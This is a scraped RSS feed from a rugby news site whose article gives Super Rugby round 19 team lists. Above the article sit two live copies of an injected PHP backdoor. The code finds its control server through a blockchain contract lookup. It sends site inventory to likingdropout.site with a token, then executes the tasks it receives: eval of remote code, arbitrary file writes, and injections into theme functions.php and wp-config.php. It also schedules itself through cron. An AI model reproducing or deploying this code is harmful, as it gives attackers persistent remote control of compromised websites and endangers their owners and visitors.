// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Tahs – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 13 Jul 2018 04:12:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Tahs – Brief News https://briefnews.eu 32 32 Complete Super Rugby teams: Rebels injury hit, Tahs unchanged https://briefnews.eu/complete-super-rugby-teams-rebels-injury-hit-tahs-unchanged/ https://briefnews.eu/complete-super-rugby-teams-rebels-injury-hit-tahs-unchanged/#respond Fri, 13 Jul 2018 04:12:05 +0000 http://briefnews.eu/complete-super-rugby-teams-rebels-injury-hit-tahs-unchanged/ THE Rebels will be missing significant star power against the Highlanders as Adam Coleman, Will Genia, Dane Haylett-Petty and Geoff Parling were all ruled out.

It is smooth sailing for the Waratahs, however, with Daryl Gibson naming an unchanged side.

Read on for all the latest round 19 Super Rugby team news.

NEW PODCAST! Outgoing Players’ Association boss Ross Xenos joins the show to discuss the state of Australian rugby, the exiled Reds stars and his new gig at the Rebels

Subscribe to the podcast on iTunes by CLICKING HERE

CHIEFS v HURRICANES in Hamilton, Friday 5.35pm AEST

The Chiefs will be without stars Damian McKenzie and Sam Cane for the derby against the Hurricanes, but have regained the services of All Blacks ace Brodie Retallick.

Five-eighth McKenzie has to sit out in the second of his enforced All Blacks rest weeks while co-captain Cane is recovering from a concussion.

Test hooker Nathan Harris (thigh) and outside back Sean Wainui (shoulder) are also missing.

McKenzie’s brother Marty replaces him in the No 10 jersey while Mitch Karpik will wear Cane’s No 7.

Lock Retallick has been out for six weeks with a pectoral injury.

The Hurricanes (50 points) are second in the New Zealand conference with the Chiefs (45) third with the two sides likely to meet again in Wellington in next week’s quarterfinals.

“We’re going out there to put on a great performance, it could be our last game at home,” Chiefs coach Colin Cooper said.

“We want to make sure that wherever there is an opportunity, that we grab it.

“We look forward to playing our own game, and are also aware of what the Hurricanes bring.

“They showed against the Blues how good they are off the set piece — and we’ve done some work around our set piece defence — but with ball in hand, our focus is on what we can do.

“Marty will be the game driver at No 10 and we are confident that he can control the game really well.”

Meanwhile, Hurricanes coach Chris Boyd has made three changes to his starting line-up.

Prop Jeff Toomaga-Allen, lock Michael Fatialofa and winger Ben Lam replace Ben May, Vaea Fifita and Julian Savea.

Fifita has a toe injury.

“He didn’t play for us before the June break, because of injury, and then didn’t get a lot of time with the All Blacks,” Boyd said.

“It’s not ideal for him.

“He hasn’t had a lot of constant football for us in the last six or eight weeks, but he’s a helluva athlete and we’d hope that he’ll come right.”

CHIEFS (15-1): Solomon Alaimalo, Toni Pulu, Anton Lienert-Brown, Charlie Ngatai (c), Shaun Stevenson, Marty McKenzie, Brad Weber, Jesse Parete, Mitch Karpik, Lachlan Boshier, Tyler Ardron, Brodie Retallick, Angus Ta’avao, Liam Polwart, Sam Prattley

Reserves: Samisoni Taukei’aho, Karl Tu’inukuafe, Jeff Thwaites, Michael Allardice, Liam Messam, Te Toiroa Tahuriorangi, Tiaan Falcon, Johnny Faauli

HURRICANES (15-1): Jordie Barrett, Nehe Milner-Skudder, Wes Goosen, Ngani Laumape, Ben Lam, Beauden Barrett, TJ Perenara, Blade Thomson, Sam Henwood, Brad Shields (c), Sam Lousi, Michael Fatialofa, Jeff Toomaga-Allen, Ricky Riccitelli, Toby Smith

Reserves: James O’Reilly, Chris Eves, Ben May, Gareth Evans, Reed Prinsep, Finlay Christie, Ihaia West, Julian Savea

Referee: Mike Fraser (NZ)

Venue: FMG Stadium

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REDS v SUNWOLVES in Brisbane, Friday 7.45pm AEST

Departing Reds stars George Smith and Kane Douglas will miss the season ending clash against the Sunwolves at Suncorp Stadium.

Wallabies legend Smith has failed to overcome a lingering knee injury as the 37-year-old prepares to take up his next contract in England with the Bristol Bears.

Former Test lock Douglas, meanwhile, was simply overlooked by coach Brad Thorn and will watch from the sidelines before joining French club Bordeaux.

The Reds are out of playoff contention.

“It’s unfortunate that George doesn’t get an opportunity to play in the Reds jersey one final time, but we thought it was in his best interests to listen to his body and sit this one out,” Thorn said.

“He has given plenty to us and to Australian rugby as a whole and we wish him all the best with the rest of his career.

“Kane Douglas has done a great job for us this season, but with him moving overseas, we felt we should give opportunities to younger players.”

That mindset means Wallaby Lukhan Tui gets a start in the second row and Australian under-20s lock Angus Blyth is in line for a Super Rugby debut off the bench.

Another Junior Wallaby, halfback Tate McDermott, gets his first Reds start ahead of Moses Sorovi.

“(Blyth) has been working away, waiting to get a taste at this level,” Thorn said.

“He’s one to watch for the future.

“With Tate McDermott and Moses Sorovi, they’re both exciting young players with plenty to offer.

“This is Tate’s first opportunity in the starting side and we know Moses will provide some spark off the bench.

“The Sunwolves are a dangerous attacking team.

“They’ve got some clever plays and a smart kicking game, so we need to be switched on and prepared for anything.”

The Sunwolves also have a couple of Queenslanders in their pack with Ed Quirk named to start at open side flanker and James Moore at lock.

REDS (15-1): Jono Lance, Filipo Daugunu, Jordan Petaia, Duncan Paia’aua, Eto Nabuli, Hamish Stewart, Tate McDermott, Scott Higginbotham (c), Liam Wright, Caleb Timu, Lukhan Tui, Izack Rodda, Taniela Tupou, Brandon Paenga-Amosa, JP Smith

Reserves: Alex Mafi, Harry Hoopert, Ruan Smith, Angus Blyth, Angus Scott-Young, Adam Korczyk, Moses Sorovi, Teti Tela

SUNWOLVES (15-1): Jason Emery, Yoshikazu Fujita, Michael Little, Harumichi Tatekawa, Akihito Yamada, Hayden Parker, Yutaka Nagare (c), Willie Britz, Ed Quirk, Michael Leitch, Wimpie van der Walt, James Moore, Takuma Asahara, Yusuke Niwai, Craig Millar

Reserves: Jaba Bregvadze, Keita Inagaki, Hencus van Wyk, Kazuki Himeno, Rahboni Warren-Vosayaco, Fumiaki Tanaka, Rikiya Matsuda, Ryoto Nakamura

Referee: Ben O’Keeffe (NZ)

Venue: Suncorp Stadium

HIGHLANDERS v REBELS in Dunedin, Saturday 3.15pm AEST

The Highlanders will be without All Blacks trio Ben Smith, Aaron Smith and Luke Whitelock when they host playoff hopefuls the Rebels at Forsyth Barr Stadium.

The three stars are required to sit out the match as their second rest week as an All Blacks agreement while coach Aaron Mauger has also decided to rest senior players Elliot Dixon, Ash Dixon and Rob Thompson.

Flanker James Lentjes will captain the team while Thomas Umaga-Jensen will make his Super Rugby debut at centre.

It is likely to be the final home game for five-eighth Lima Sopoaga, who is joining Wasps at the end of the season.

Sopoaga has scored 840 points for the Highlanders in 90 games.

“I have loved my time here at the Highlanders,” Sopoaga said.

“It is an unreal place to play Super Rugby and I’m looking forward to being back out there under the roof in front of our home fans this weekend.

“I’m focused on finishing the season well before looking ahead to the next chapter of mine and my family’s life in the UK.”

Meanwhile, the Rebels will also be missing some significant star power after Test players Adam Coleman, Will Genia, Dane Haylett-Petty and Geoff Parling were all ruled out.

The Rebels indicated Coleman (adductor) and Genia (arm) are likely to be available should they make the finals while Haylett-Petty (knee) and Parling (shoulder) were dinged up in last week’s loss to the Reds.

Sefa Naivalu and Ross Haylett-Petty are promoted to start on the wing and at lock respectively while props Fereti Sa’aga and Sam Talakai come in for Tetera Faulkner and Jermaine Ainsley.

“We’ve had a good week and are looking forward to the challenge in Dunedin,” Rebels coach Dave Wessels said.

“Everyone has embraced the areas of our performance we weren’t happy with last week.

“It wasn’t at the standard that we set for ourselves.

“But we know that if we play with intensity we’re capable of beating any team in this comp.

“We won’t shy away from the fact this is a big game for our club and supporters in Melbourne, just like we won’t shy away from the excitement of the reward on offer.

“We set out at the start of the season to play in a way that would make the people of Melbourne proud and we really want to do that again on Saturday night.”

HIGHLANDERS (15-1): Josh Ioane, Waisake Naholo, Thomas Umaga-Jensen, Teihorangi Walden, Tevita Li, Lima Sopoaga, Kayne Hammington, Liam Squire, James Lentjes (c), Shannon Frizell, Jackson Hemopo, Alex Ainley, Tyrel Lomax, Liam Coltman, Aki Seuili

Reserves: Greg Pleasants-Tate, Daniel Lienert-Brown, Kalolo Tuiloma, Tom Franklin, Dillon Hunt, Josh Renton, Matt Faddes, Josh McKay

REBELS (15-1): Jack Maddocks, Sefa Naivalu, Tom English (c), Billy Meakes, Marika Koroibete, Reece Hodge, Michael Ruru, Amanaki Mafi, Colby Fainga’a, Angus Cottrell, Ross Haylett-Petty, Matt Philip, Sam Talakai, Anaru Rangi, Fereti Sa’aga

Reserves: Nathan Charles, Tetera Faulkner, Jermaine Ainsley, Sam Jeffries, Richard Hardwick, Harrison Goddard, Jack Debreczeni, Lopeti Timani

Referee: Glen Jackson (NZ)

Venue: Forsyth Barr Stadium

CRUSADERS v BLUES in Christchurch, Saturday 5.35pm AEST

Crusaders coach Scott Robertson has made six changes to his starting side as he freshens up his squad ahead of the finals.

Loose-head prop Joe Moody is out with a knee injury while hooker Codie Taylor and lock Scott Barrett are also absent as they fulfil the second week of their All Blacks rest requirements.

Tight-head prop Owen Franks, fullback David Havili and halfback Bryn Hall are the others to drop out as Israel Dagg gets a rare opportunity to strut his stuff in the No 15 jersey.

